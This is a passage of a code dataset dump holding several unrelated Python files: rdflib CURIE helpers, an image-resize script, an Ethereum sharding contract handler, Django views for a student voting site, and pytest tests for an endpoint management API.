prefix:\n self.prefixes[prefix] = ns_n3\n return res\n\n @staticmethod\n def decurify(n3_str):\n return decurify(n3_str)\n\n @staticmethod\n def set_prefixes(prefixes):\n if prefixes:\n assert isinstance(prefixes, dict)\n for pr, ns_n3 in prefixes.items():\n _nsm.bind(pr, rdflib.util.from_n3(ns_n3), replace=True)\n\n\ndef curify(identifier, nsm=None, return_used=False):\n \"\"\"Returns dbr:Berlin like CURIEs where possible, n3() otherwise.\n\n Maybe a bit of a misnomer as the result can also be a n3 representation of\n the URI if it can't be converted into a CURIE (e.g. because it contains ()).\n\n Most useful when trying to insert URIRefs into SPARQL queries without\n wasting a lot of space.\n\n >>> curify(URIRef('http://dbpedia.org/resource/Berlin'))\n u'dbr:Berlin'\n\n >>> curify(URIRef('http://dbpedia.org/resource/Category:Trees'))\n u'dbc:Trees'\n \n >>> curify(URIRef('http://en.wikipedia.org/wiki/Louis_C.K.'))\n u''\n\n :param identifier: an rdflib.URIRef.\n :param nsm: A rdflib NameSpaceManager, _nsm if None.\n :param return_used: If True also return the used prefix and namespace.\n :return: by default returns a string, either consisting of the CURIE or the\n n3() of identifier. If return_used==True returns (, prefix, ns_n3).\n \"\"\"\n if nsm is None:\n nsm = _nsm\n assert isinstance(identifier, (BNode, Literal, URIRef, Variable)), \\\n 'not an identifier: %r' % (identifier,)\n if isinstance(identifier, URIRef) and not identifier.endswith('.'):\n # TODO: report upstream (rdflib / virtuoso?)\n # above is a quickfix for curies that end in '.' and cause trouble in\n # SPARQL queries (at least on virtuoso)\n\n # noinspection PyBroadException\n try:\n prefix, ns, suffix = nsm.compute_qname(identifier, generate=False)\n res = ':'.join((prefix, suffix))\n if return_used:\n res = (res, prefix, ns.n3())\n return res\n except Exception: # sadly rdflib raises this overly broad Exception\n pass\n return (identifier.n3(), None, None) if return_used else identifier.n3()\n\n\ndef decurify(n3_str, nsm=None):\n \"\"\"Returns rdflib terms for CURIE / n3() string representations.\n\n >>> decurify(u'dbr:Berlin')\n rdflib.term.URIRef(u'http://dbpedia.org/resource/Berlin')\n\n :param n3_str: string representation.\n :param nsm: NamespaceManager, defaults to _nsm if None.\n :return: rdflib.term.identifier\n \"\"\"\n assert isinstance(n3_str, six.text_type) and \\\n not isinstance(n3_str, rdflib.term.Identifier)\n if nsm is None:\n nsm = _nsm\n if n3_str.startswith('?'):\n return Variable(n3_str)\n return rdflib.util.from_n3(n3_str, nsm=nsm)\n\n\ndef exception_stack_catcher(func):\n \"\"\"Mainly useful with SCOOP as a workaround as they don't save the trace.\n\n Auto-logs exceptions in the wrapped function and re-raises them with\n additional attribute '_exc_fmt' which saves the formatted exception trace\n on the worker. In the main process you can check for this attribute in a\n caught exception e (e._exc_fmt) and log it as an error (see\n log_wrapped_exception below).\n\n As the main process might also invoke code which could raise exceptions and\n their stack traces could be hidden, you can also wrap that functionality\n with this decorator. Once an exception's stack was saved, this decorator\n will not re-log or re-modify the exception. In other words: nesting is\n supported. And not only supported, but each time you use scoop.future.map\n or the like, you should wrap the called function again.\n \"\"\"\n @wraps(func)\n def exception_stack_wrapper(*args, **kwds):\n try:\n return func(*args, **kwds)\n except BaseException as e:\n if scoop.IS_RUNNING and not hasattr(e, '_exc_fmt'):\n exc_info = sys.exc_info()\n scoop.logger.exception('exception in worker')\n # noinspection PyBroadException\n try:\n # scoop actually tries to log exception str which can cause\n # UnicodeDecodeErrors, hence we try to work around that:\n # see https://github.com/soravux/scoop/pull/24\n try:\n str(e)\n except UnicodeEncodeError:\n scoop.logger.warning(\n 're-packing exception for scoop, see '\n 'https://github.com/soravux/scoop/pull/24'\n )\n e_msg = repr(e)\n six.reraise(type(e), e_msg, exc_info[2])\n else:\n raise\n except BaseException as err:\n # append the stack as field to the re-raised exception\n err._exc_fmt = 'error in worker:\\n%s' % (\n ''.join(traceback.format_exception(*exc_info)))\n six.reraise(type(err), err, exc_info[2])\n raise\n return exception_stack_wrapper\n\n\ndef kv_str(kvl):\n \"\"\"Turn a list of key value pairs into a nicely formatted string.\n \n >>> from collections import Counter\n >>> c = Counter('aaaabbcdeeef')\n >>> kv_str(c.most_common())\n '[a: 4, e: 3, b: 2, c: 1, d: 1, f: 1]'\n \"\"\"\n return '[%s]' % ', '.join('%s: %s' % (k, v) for k, v in kvl)\n\n\ndef log_wrapped_exception(logger, e):\n # see exception_stack_catcher decorator\n if hasattr(e, '_exc_fmt'):\n # noinspection PyProtectedMember\n logger.error(e._exc_fmt)\n else:\n logger.exception(repr(e))\n\n\ndef log_all_exceptions(logger):\n \"\"\"Decorator to log all local and wrapped worker exceptions to given logger.\n\n Useful to wrap your main function in. See log_wrapped_exception and\n exception_stack_catcher above.\n \"\"\"\n def outer(func):\n @wraps(func)\n def inner(*args, **kwds):\n try:\n return exception_stack_catcher(func)(*args, **kwds)\n except Exception as err:\n log_wrapped_exception(logger, err)\n raise\n return inner\n return outer\n\n\ndef sample_from_list(l, probs, max_n=None):\n \"\"\"Sample list according to probs.\n\n This method draws up to max_n items from l using the given list of probs as\n sample probabilities. max_n defaults to len(l) if not specified. Items with\n probability 0 are never sampled, so if less than max_n probabilities are > 0\n only those items are returned.\n\n :param l: list from which to draw items.\n :param probs: List of probabilities to draw items. Normalized by sum(probs).\n :param max_n: Optional. If given restricts max length of result, otherwise\n defaults to len(l).\n :return: list of items sampled according to probs with max length of max_n.\n \"\"\"\n assert len(l) == len(probs), 'given list l and probs must have same length'\n if max_n is None:\n max_n = len(l)\n sum_probs = sum(probs)\n if sum_probs == 0:\n return []\n probs_ = np.array(probs) / sum_probs\n # we draw max n or |probs_ > 0|\n # noinspection PyTypeChecker\n n = min(max_n, np.sum(probs_ > 0))\n # use idx approach as direct passing to np.random.choice would convert\n # items of l into str\n # noinspection PyUnresolvedReferences\n res = [\n l[idx] for idx in np.random.choice(len(l), n, replace=False, p=probs_)\n ]\n return res\n\n\ndef sparql_json_result_bindings_to_rdflib(res_bindings):\n \"\"\"Converts a result's bindings to RDFlib terms.\n\n Converts a results' bindings as retrieved in res[\"results\"][\"bindings\"]\n by SPARQLWrapper with a sparql select query into the corresponding\n list with rdflib terms, e.g., Literal, URIref, BNode.\n BNodes won't be mixed between iterated calls of this function even if\n they happen to have the same \"value\". Internally the given value is mapped\n to a random value, which is remembered in _one and the same_ call of this\n function only.\n \"\"\"\n _bnodes = {} # makes sure we don't confuse BNodes from different results\n\n def dict_to_rdflib(d):\n \"\"\"Maps a dict to the corresponding rdflib term.\n\n Follows the syntax in http://www.w3.org/TR/rdf-sparql-json-res/ .\n \"\"\"\n if d is None:\n return None\n\n t = d[\"type\"]\n v = d[\"value\"]\n\n if t == \"uri\":\n return URIRef(v)\n\n if t == \"bnode\":\n if v not in _bnodes:\n # v is not used as BNode value on purpose (multiple calls should\n # not have the same value)\n _bnodes[v] = BNode()\n return _bnodes[v]\n\n l = d.get(\"xml:lang\", None)\n if t == \"literal\":\n return Literal(v, lang=l)\n\n if t == \"typed-literal\":\n # will raise type error if lang and datatype set\n return Literal(v, lang=l, datatype=d[\"datatype\"])\n\n raise rdflib.exceptions.ParserError(\n \"Invalid sparql json result according to \"\n \"http://www.w3.org/TR/rdf-sparql-json-res/: {0}\".format(d))\n\n res_bindings_rdflib = []\n for row in res_bindings:\n tmp = {}\n for var_name, value in row.items():\n tmp[Variable(var_name)] = dict_to_rdflib(value)\n res_bindings_rdflib.append(tmp)\n\n return res_bindings_rdflib\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"355450717","text":"import os, subprocess, sys\nfrom multiprocessing import Pool\n\nif len(sys.argv)>1:\n source_folder_name = sys.argv[1] # Имя папки с исходными изображениями\n results_folder_name = sys.argv[2] # Имя папки для сохранения результатов\nelse:\n source_folder_name = 'Source'\n results_folder_name = 'Result'\nworking_directory = os.path.dirname(os.path.realpath(__file__))\nsource_folder = os.path.join(working_directory, source_folder_name)\nresults_folder = os.path.join(working_directory, results_folder_name)\n\n# Функция конвертирования изображений\ndef convert_file(file):\n if file.endswith('.jpg'):\n subprocess.run('{} {} -resize 200 {}'.format(os.path.join(working_directory,'convert'), \\\n os.path.join(source_folder,file), \\\n os.path.join(results_folder,file)))\n\n\nif __name__ == '__main__':\n if not os.path.exists(results_folder):\n os.mkdir(results_folder)\n print('Создана папка для результатов: {}'.format(results_folder))\n files = os.listdir(source_folder)# выбор файлов\n print('Количество файлов для конвертирования: ',len(files))\n pool = Pool(4) # Четыре процесса\n pool.map(convert_file, files)\n pool.close()\n pool.join()\n print('Конвертирование завершено.')\n","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"208444007","text":"import logging\n\nfrom web3.contract import (\n Contract,\n)\n\nfrom eth_utils import (\n is_canonical_address,\n to_checksum_address,\n to_dict,\n decode_hex,\n)\n\nfrom evm.vm.forks.sharding.config import (\n get_sharding_config,\n)\n\n\n# Basic call context helper functions\n@to_dict\ndef make_call_context(sender_address,\n gas,\n value=None,\n gas_price=None,\n data=None):\n if not is_canonical_address(sender_address):\n raise ValueError('sender_address should be provided in the canonical format')\n if not (isinstance(gas, int) and gas > 0):\n raise ValueError('gas should be provided as positive integer')\n # Both 'from' and 'gas' are required in eth_tester\n yield 'from', to_checksum_address(sender_address)\n yield 'gas', gas\n if value is not None:\n yield 'value', value\n if gas_price is not None:\n yield 'gas_price', gas_price\n if data is not None:\n yield 'data', data\n\n\n# Basic transaction context helper functions\n@to_dict\ndef make_transaction_context(nonce,\n gas,\n chain_id=None,\n value=None,\n gas_price=None,\n data=None):\n if not (isinstance(nonce, int) and nonce >= 0):\n raise ValueError('nonce should be provided as non-negative integer')\n if not (isinstance(gas, int) and gas > 0):\n raise ValueError('gas should be provided as positive integer')\n yield 'nonce', nonce\n yield 'gas', gas\n yield 'chainId', chain_id\n if value is not None:\n yield 'value', value\n if gas_price is not None:\n yield 'gasPrice', gas_price\n if data is not None:\n yield 'data', data\n\n\nclass SMCHandler(Contract):\n\n logger = logging.getLogger(\"evm.chain.sharding.SMCHandler\")\n\n _privkey = None\n _sender_address = None\n _config = None\n\n def __init__(self, *args, default_privkey, **kwargs):\n self._privkey = default_privkey\n self._sender_address = default_privkey.public_key.to_canonical_address()\n self._config = get_sharding_config()\n\n super().__init__(*args, **kwargs)\n\n #\n # property\n #\n @property\n def private_key(self):\n return self._privkey\n\n @property\n def sender_address(self):\n return self._sender_address\n\n @property\n def config(self):\n return self._config\n\n #\n # Public variable getter functions\n #\n def get_eligible_proposer(self, shard_id, period=None, gas=None):\n \"\"\"Get the eligible proposer in the specified period\n \"\"\"\n if period is None:\n period = self.web3.eth.blockNumber // self.config['PERIOD_LENGTH']\n call_context = make_call_context(\n sender_address=self.sender_address,\n gas=self.config[\"DEFAULT_GAS\"]\n )\n address_in_hex = self.functions.get_eligible_proposer(shard_id, period).call(call_context)\n return decode_hex(address_in_hex)\n\n def get_parent_hash(self, shard_id, collation_hash, gas=None):\n call_context = make_call_context(\n sender_address=self.sender_address,\n gas=self.config[\"DEFAULT_GAS\"]\n )\n return self.functions.get_collation_header_parent_hash(\n shard_id,\n collation_hash,\n ).call(call_context)\n\n def get_collation_score(self, shard_id, collation_hash, gas=None):\n call_context = make_call_context(\n sender_address=self.sender_address,\n gas=self.config[\"DEFAULT_GAS\"]\n )\n return self.functions.get_collation_header_score(\n shard_id,\n collation_hash,\n ).call(call_context)\n\n def _send_transaction(self,\n func_name,\n args,\n nonce=None,\n chain_id=None,\n gas=None,\n value=0,\n gas_price=None,\n data=None):\n if gas is None:\n gas = self.config['DEFAULT_GAS']\n if gas_price is None:\n gas_price = self.config['GAS_PRICE']\n privkey = self.private_key\n if nonce is None:\n nonce = self.web3.eth.getTransactionCount(privkey.public_key.to_checksum_address())\n build_transaction_detail = make_transaction_context(\n nonce=nonce,\n gas=gas,\n chain_id=chain_id,\n value=value,\n gas_price=gas_price,\n data=data,\n )\n func_instance = getattr(self.functions, func_name)\n unsigned_transaction = func_instance(*args).buildTransaction(\n transaction=build_transaction_detail,\n )\n signed_transaction_dict = self.web3.eth.account.signTransaction(\n unsigned_transaction,\n privkey.to_hex(),\n )\n tx_hash = self.web3.eth.sendRawTransaction(signed_transaction_dict['rawTransaction'])\n return tx_hash\n\n #\n # Transactions\n #\n def deposit(self, gas=None, gas_price=None):\n \"\"\"Do deposit to become a validator\n \"\"\"\n tx_hash = self._send_transaction(\n 'deposit',\n [],\n value=self.config['DEPOSIT_SIZE'],\n gas=gas,\n gas_price=gas_price,\n )\n return tx_hash\n\n def withdraw(self, validator_index, gas=None, gas_price=None):\n \"\"\"Withdraw the validator whose index is `validator_index`\n \"\"\"\n tx_hash = self._send_transaction(\n 'withdraw',\n [\n validator_index,\n ],\n gas=gas,\n gas_price=gas_price,\n )\n return tx_hash\n\n def add_header(self,\n collation_header,\n gas=None,\n gas_price=None):\n \"\"\"Add the collation header with the given parameters\n \"\"\"\n tx_hash = self._send_transaction(\n 'add_header',\n [\n collation_header.shard_id,\n collation_header.expected_period_number,\n collation_header.period_start_prevhash,\n collation_header.parent_hash,\n collation_header.transaction_root,\n to_checksum_address(collation_header.coinbase),\n collation_header.state_root,\n collation_header.receipt_root,\n collation_header.number,\n ],\n gas=gas,\n gas_price=gas_price,\n )\n return tx_hash\n\n def tx_to_shard(self,\n to,\n shard_id,\n tx_startgas,\n tx_gasprice,\n data,\n value,\n gas=None,\n gas_price=None):\n \"\"\"Make a receipt with the given parameters\n \"\"\"\n tx_hash = self._send_transaction(\n 'tx_to_shard',\n [\n to_checksum_address(to),\n shard_id,\n tx_startgas,\n tx_gasprice,\n data,\n ],\n value=value,\n gas=gas,\n gas_price=gas_price,\n )\n return tx_hash\n","sub_path":"evm/vm/forks/sharding/smc_handler.py","file_name":"smc_handler.py","file_ext":"py","file_size_in_byte":7330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"454262297","text":"# To check whether a given matrix is Magic Square or not.\r\n\r\nimport numpy as np\r\n# from numpy import *\r\n\r\ndef main():\r\n\tmajlst = [[1,2,3,4],[5,6,7,8]]\r\n\r\n\tmat = np.asarray(majlst)\r\n\r\n\tprint(mat)\r\n\r\nif __name__ == '__main__':\r\n\tmain()","sub_path":"magic_square_or_not.py","file_name":"magic_square_or_not.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"73927981","text":"from datetime import datetime\n\n\ndef extract_member_data(member):\n \"\"\"\n :param member: member data obtained through API\n :type member: dict\n :return: single depth dict with relevant member information\n \"\"\"\n return {\n 'name': member.get('given_name', None),\n 'surname': member.get('family_name', None),\n 'email': get_member_email(member),\n 'phone': member.get('custom_fields', None).get('Phone number', None),\n 'local_group': get_local_group(member),\n 'created_date': parse_date(member['created_date']),\n 'modified_date': parse_date(member['modified_date']),\n }\n\n\ndef get_member_email(member):\n postcodes = member['email_addresses']\n return [p for p in postcodes if p['primary']][0]['address']\n\n\ndef parse_date(date_str):\n str_format = '%Y-%m-%dT%H:%M:%SZ'\n return datetime.strptime(date_str, str_format)\n\n\ndef get_local_group(member):\n local_group = member.get('custom_fields', None).get('local_group', None)\n if local_group == 'Not selected' or local_group == 'No group nearby':\n local_group = None\n return local_group\n","sub_path":"rebel_explorer/utils/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"391794932","text":"#!/usr/bin/env python\n# coding: utf-8\nfrom django.shortcuts import render, redirect\nimport re\nfrom .models import Args, Profile, Comment\nfrom . import email_functions\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth import logout\nimport bleach\nfrom django.utils.html import escape\nfrom operator import itemgetter\nfrom django.http import HttpResponse\nfrom .DACInfo.FormFiller import get_captcha_img\n# Create your views here.\n\n\ndef index(request):\n session, img = get_captcha_img()\n values = {\n 'session': session,\n 'img': img\n }\n return render(request, 'index.html', values)\n\n\ndef results(request):\n total = yes = no = abs = 0\n for profs in Profile.objects.all():\n total += 1\n if profs.vote.vote == u'Sim':\n yes += 1\n elif profs.vote.vote == u'Não':\n no += 1\n else:\n abs += 1\n try:\n yes = str(yes) + \" (\" + str(round((float(yes)/total)*100, 2)) + \"%)\"\n no = str(no) + \" (\" + str(round((float(no)/total)*100, 2)) + \"%)\"\n abs = str(abs) + \" (\" + str(round((float(abs)/total)*100, 2)) + \"%)\"\n except ZeroDivisionError:\n total = yes = no = abs = 0\n\n inst = []\n for institution in Profile.objects.values_list('institute', flat=True).distinct():\n list = Profile.objects.filter(institute=institution)\n totali = len(list)\n yesi = noi = absi = 0\n for student in list:\n if student.vote.vote == u'Sim':\n yesi += 1\n elif student.vote.vote == u'Não':\n noi += 1\n else:\n absi += 1\n\n try:\n yesi = str(yesi) + \" (\" + str(round((float(yesi) / totali) * 100, 1)) + \"%)\"\n noi = str(noi) + \" (\" + str(round((float(noi) / totali) * 100, 1)) + \"%)\"\n absi = str(absi) + \" (\" + str(round((float(absi) / totali) * 100, 1)) + \"%)\"\n except ZeroDivisionError:\n totali = yesi = noi = absi = 0\n\n inst.append([institution, totali, yesi, absi, noi])\n\n values = {\n 'total': total,\n 'yes': yes,\n 'no': no,\n 'abs': abs,\n 'infos': Profile.objects.all(),\n 'insts': sorted(inst, key=itemgetter(0))\n }\n return render(request, 'results.html', values)\n\n\ndef arguments(request):\n args = Args.objects.all()\n return render(request, 'arguments.html', {'args': args})\n\n\ndef process_vote(request):\n if hasattr(request.user, 'password'):\n reason = request.POST['reason']\n try:\n vote = request.POST['vote']\n\n except:\n prevalues = email_functions.set_prevalues('vote_1', reason, 0, '', '')\n prevalues['cap_error'] = 'Escolha um voto'\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n return render(request, 'index.html', prevalues)\n prevalues = email_functions.set_prevalues(vote, reason, 0, '', '')\n\n recapv, recapt = email_functions.captcha(request.POST['g-recaptcha-response'])\n if not recapv:\n prevalues['cap_error'] = 'Captcha incorreto'\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n return render(request, 'index.html', prevalues)\n reason = escape(bleach.clean(reason, strip=True))\n request.user.profile.vote.vote, request.user.profile.vote.reason = vote, reason\n request.user.profile.vote.save()\n prevalues['cap_error'] = 'Voto atualizado com sucesso'\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n return render(request, 'index.html', prevalues)\n\n vnf, auth_code, vote, password, passwordconf, reason, session, captcha = email_functions.proc_request(request)\n prevalues = email_functions.set_prevalues(vote, reason, auth_code, password, passwordconf)\n if not auth_code:\n prevalues['auth_error'] = \"Código inválido\"\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n prevalues.pop(\"auth_prev\", None)\n return render(request, 'index.html', prevalues)\n if not vnf:\n prevalues['cap_error'] = 'Escolha um voto'\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n return render(request, 'index.html', prevalues)\n\n codev, codet = email_functions.dac_check(auth_code, session, captcha)\n if not codev:\n prevalues['auth_error'] = codet\n prevalues['show_bug'] = 1\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n return render(request, 'index.html', prevalues)\n ra, name, rg, course, institute = codet['ra'], codet['nome'], codet['rg'], codet['curso'], codet['instituto']\n\n if password:\n if password != passwordconf:\n prevalues['pass_error'] = 'Senhas diferentes'\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n return render(request, 'index.html', prevalues)\n prevalues = email_functions.vote_user_create(ra, name, rg, course, institute, password, vote, reason, prevalues, request)\n session, img = get_captcha_img()\n prevalues['session'] = session\n prevalues['img'] = img\n return render(request, 'index.html', prevalues)\n\n\ndef login_user(request):\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return redirect('index')\n return render(request, 'index.html', {'login_error': 'Sua conta está desativada'})\n session, img = get_captcha_img()\n prevalues = {\n 'session': session,\n 'img': img,\n 'login_error': 'Usuário ou senha incorretos'\n }\n return render(request, 'index.html', prevalues)\n\n\ndef logout_user(request):\n logout(request)\n session, img = get_captcha_img()\n prevalues= {'session': session, 'img': img}\n return redirect('index')\n\n\ndef user_info(request):\n return render(request, 'userinfo.html',{'args': Args.objects.filter(profile=request.user.profile), 'comments': Comment.objects.filter(author=request.user.profile)})\n\n\ndef submit_arg(request):\n author = request.user\n text = request.POST['text']\n if request.POST['vote'] == 'Sim':\n side = False\n else:\n side = True\n title = request.POST['title']\n a = Args(profile=author.profile, text=text, side=side, dislikes=0, likes=0, title=title)\n a.save()\n return redirect('arguments')\n\n\ndef like_arg(request):\n if not request.user.is_authenticated():\n return redirect('arguments')\n button = request.POST['press']\n a = Args.objects.get(id=button)\n if not check_like_dislike_arg(request):\n return redirect('/arguments/#' + str(a.id))\n a.likes += 1\n a.hits.add(request.user.profile)\n a.save()\n return redirect('/arguments/#' + str(a.id))\n\n\ndef dislike_arg(request):\n if not request.user.is_authenticated():\n return redirect('arguments')\n button = request.POST['press']\n a = Args.objects.get(id=button)\n if not check_like_dislike_arg(request):\n return redirect('/arguments/#' + str(a.id))\n a.dislikes += 1\n a.hits.add(request.user.profile)\n a.save()\n return redirect('/arguments/#' + str(a.id))\n\n\ndef delete_arg(request):\n if not request.user.is_authenticated():\n return redirect('index')\n button = request.POST['press']\n a = Args.objects.get(id=button)\n if not a.profile == request.user.profile:\n return redirect('index')\n a.delete()\n return redirect('/user_info/')\n\n\ndef check_like_dislike_arg(request):\n button = request.POST['press']\n a = Args.objects.get(id=button)\n user = request.user.profile\n for hit in a.hits.all():\n if hit.ra == user.ra:\n return 0\n return 1\n\n\ndef help_page(request):\n return render(request, 'help.html')\n\n\ndef down_stats(request):\n total = yes = no = abs = 0\n for profs in Profile.objects.all():\n total += 1\n if profs.vote.vote == u'Sim':\n yes += 1\n elif profs.vote.vote == u'Não':\n no += 1\n else:\n abs += 1\n open('stats.txt', 'w+')\n with open(\"stats.txt\", \"a\") as stats:\n stats.write(str(yes) + \", \" + str(no) + \", \" + str(abs) + \"\\n\")\n\n for institution in Profile.objects.values_list('institute', flat=True).distinct():\n list = Profile.objects.filter(institute=institution) #takes 1 institute\n courselist = []\n for course in list:\n courselist.append(course.course)\n courselist = set(courselist) #creates set of courses in that institute\n\n for curso in courselist: #for each course\n votelist = Profile.objects.filter(course=curso, institute=institution) #list of profiles in thar course\n yesi = noi = absi = 0\n for student in votelist:\n if student.vote.vote == u'Sim':\n yesi += 1\n elif student.vote.vote == u'Não':\n noi += 1\n else:\n absi += 1\n stats.write(institution.encode('utf-8'))\n stats.write(\"; \" + curso.encode('utf-8'))\n stats.write(\"; \" + str(yesi) + \"; \" + str(noi) + \"; \" + str(absi) + \"\\n\")\n stats.close()\n stats = open('stats.txt', 'r')\n stats.flush()\n stats.seek(0) # move the pointer to the beginning of the buffer\n response = HttpResponse(stats, content_type='text/plain')\n response['Content-Disposition'] = 'attachment; filename=stats.txt'\n stats.close()\n return response\n\n\ndef comments(request, arg_id):\n arg_id = int(arg_id)\n arg = Args.objects.get(id=arg_id)\n comment = Comment.objects.filter(argument=arg)\n return render(request, 'comments.html', {'comments': comment, 'arg': arg})\n\n\ndef submit_comment(request):\n author = request.user.profile\n text = request.POST['text']\n arg = request.POST['arg']\n arg = Args.objects.get(id=arg)\n a = Comment(argument=arg, text=text, dislikes=0, likes=0, author=author)\n a.save()\n return redirect('/arguments/' + str(arg.id) + \"#\" + str(a.id))\n\n\ndef like_comment(request):\n button = request.POST['press']\n a = Comment.objects.get(id=button)\n arg = a.argument\n if not request.user.is_authenticated():\n return redirect('/arguments/' + str(arg.id) + \"#\" + str(a.id))\n if not check_like_dislike_comment(request):\n return redirect('/arguments/' + str(arg.id) + \"#\" + str(a.id))\n a.likes += 1\n a.hits.add(request.user.profile)\n a.save()\n return redirect('/arguments/' + str(arg.id) + \"#\" + str(a.id))\n\n\ndef dislike_comment(request):\n button = request.POST['press']\n a = Comment.objects.get(id=button)\n arg = a.argument\n if not request.user.is_authenticated():\n return redirect('/arguments/' + str(arg.id) + \"#\" + str(a.id))\n if not check_like_dislike_comment(request):\n return redirect('/arguments/' + str(arg.id) + \"#\" + str(a.id))\n a.dislikes += 1\n a.hits.add(request.user.profile)\n a.save()\n\n return redirect('/arguments/' + str(arg.id) + \"#\" + str(a.id))\n\n\ndef delete_comment(request):\n if not request.user.is_authenticated():\n return redirect('index')\n button = request.POST['press']\n a = Comment.objects.get(id=button)\n if not a.author == request.user.profile:\n return redirect('index')\n a.delete()\n return redirect('/user_info/')\n\n\ndef check_like_dislike_comment(request):\n button = request.POST['press']\n a = Comment.objects.get(id=button)\n user = request.user.profile\n for hit in a.hits.all():\n if hit.ra == user.ra:\n return 0\n return 1\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"14202827","text":"#\n# Copyright (c) 2018 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport pytest\nimport requests\nimport json\nimport time\n\nfrom management_api_tests.config import DEFAULT_HEADERS,\\\n USER2_HEADERS, ENDPOINT_MANAGEMENT_API_URL, ENDPOINTS_MANAGEMENT_API_URL, CheckResult, \\\n ENDPOINT_RESOURCES, ENDPOINT_MANAGEMENT_API_URL_SCALE, OperationStatus\n\nfrom management_api_tests.endpoints.endpoint_utils import check_replicas_number_matching_provided, \\\n check_model_params_matching_provided, wait_server_setup, check_server_existence, \\\n check_server_update_result\n\n\ndef test_create_endpoint(function_context, apps_api_instance, get_k8s_custom_obj_client,\n session_tenant):\n crd_server_name = 'predict'\n namespace, _ = session_tenant\n replicas = 1\n data = json.dumps({\n 'modelName': 'resnet',\n 'modelVersion': 1,\n 'endpointName': crd_server_name,\n 'subjectName': 'client',\n 'replicas': replicas,\n 'resources': ENDPOINT_RESOURCES\n })\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n\n response = requests.post(url, data=data, headers=DEFAULT_HEADERS)\n\n assert response.status_code == 200\n assert \"created\" in response.text\n\n function_context.add_object(object_type='CRD', object_to_delete={'name': crd_server_name,\n 'namespace': namespace})\n assert check_server_existence(get_k8s_custom_obj_client, namespace, crd_server_name\n ) == CheckResult.RESOURCE_AVAILABLE\n assert wait_server_setup(apps_api_instance, namespace, crd_server_name, replicas\n ) == OperationStatus.SUCCESS\n\n\ndef test_delete_endpoint(apps_api_instance, get_k8s_custom_obj_client,\n tenant_with_endpoint):\n namespace, body = tenant_with_endpoint\n data = json.dumps({\n 'endpointName': body['spec']['endpointName'],\n })\n\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n response = requests.delete(url, data=data, headers=DEFAULT_HEADERS)\n assert response.status_code == 200\n assert \"deleted\" in response.text\n assert check_server_existence(get_k8s_custom_obj_client, namespace, body['spec']['endpointName']\n ) == CheckResult.RESOURCE_DOES_NOT_EXIST\n assert wait_server_setup(apps_api_instance, namespace, body['spec']['endpointName'], 1\n ) == OperationStatus.TERMINATED\n\n\ndef test_try_create_the_same_endpoint(tenant_with_endpoint):\n namespace, body = tenant_with_endpoint\n body['spec']['resources'] = ENDPOINT_RESOURCES\n data = json.dumps(body['spec'])\n\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n\n response = requests.post(url, data=data, headers=DEFAULT_HEADERS)\n assert response.status_code == 400\n assert \"Conflict\" in response.text\n\n\ndef test_create_endpoint_with_2_replicas(get_k8s_custom_obj_client, apps_api_instance,\n function_context, session_tenant):\n crd_server_name = 'predict'\n namespace, _ = session_tenant\n model_name = 'resnet2'\n model_version = 1\n replicas = 2\n data = json.dumps({\n 'modelName': model_name,\n 'modelVersion': model_version,\n 'endpointName': crd_server_name,\n 'subjectName': 'client',\n 'replicas': replicas,\n 'resources': ENDPOINT_RESOURCES\n })\n\n url = ENDPOINTS_MANAGEMENT_API_URL.format(tenant_name=namespace)\n\n response = requests.post(url, data=data, headers=DEFAULT_HEADERS)\n\n assert response.status_code == 200\n assert \"created\" in response.text\n\n function_context.add_object(object_type='CRD', object_to_delete={'name': crd_server_name,\n 'namespace': namespace})\n\n assert check_server_existence(get_k8s_custom_obj_client, namespace, crd_server_name\n ) == CheckResult.RESOURCE_AVAILABLE\n assert wait_server_setup(apps_api_instance, namespace, crd_server_name, replicas\n ) == OperationStatus.SUCCESS\n\n\ndef test_scale_endpoint(get_k8s_custom_obj_client, apps_api_instance,\n tenant_with_endpoint):\n headers = DEFAULT_HEADERS\n namespace, body = tenant_with_endpoint\n crd_server_name = body['spec']['endpointName']\n\n # -- scaling up 1 -> 5\n replicas = 5\n simulate_scaling(get_k8s_custom_obj_client, apps_api_instance, headers, namespace,\n crd_server_name, replicas)\n\n # -- scaling down 5 -> 0\n replicas = 0\n simulate_scaling(get_k8s_custom_obj_client, apps_api_instance, headers, namespace,\n crd_server_name, replicas)\n\n\ndef 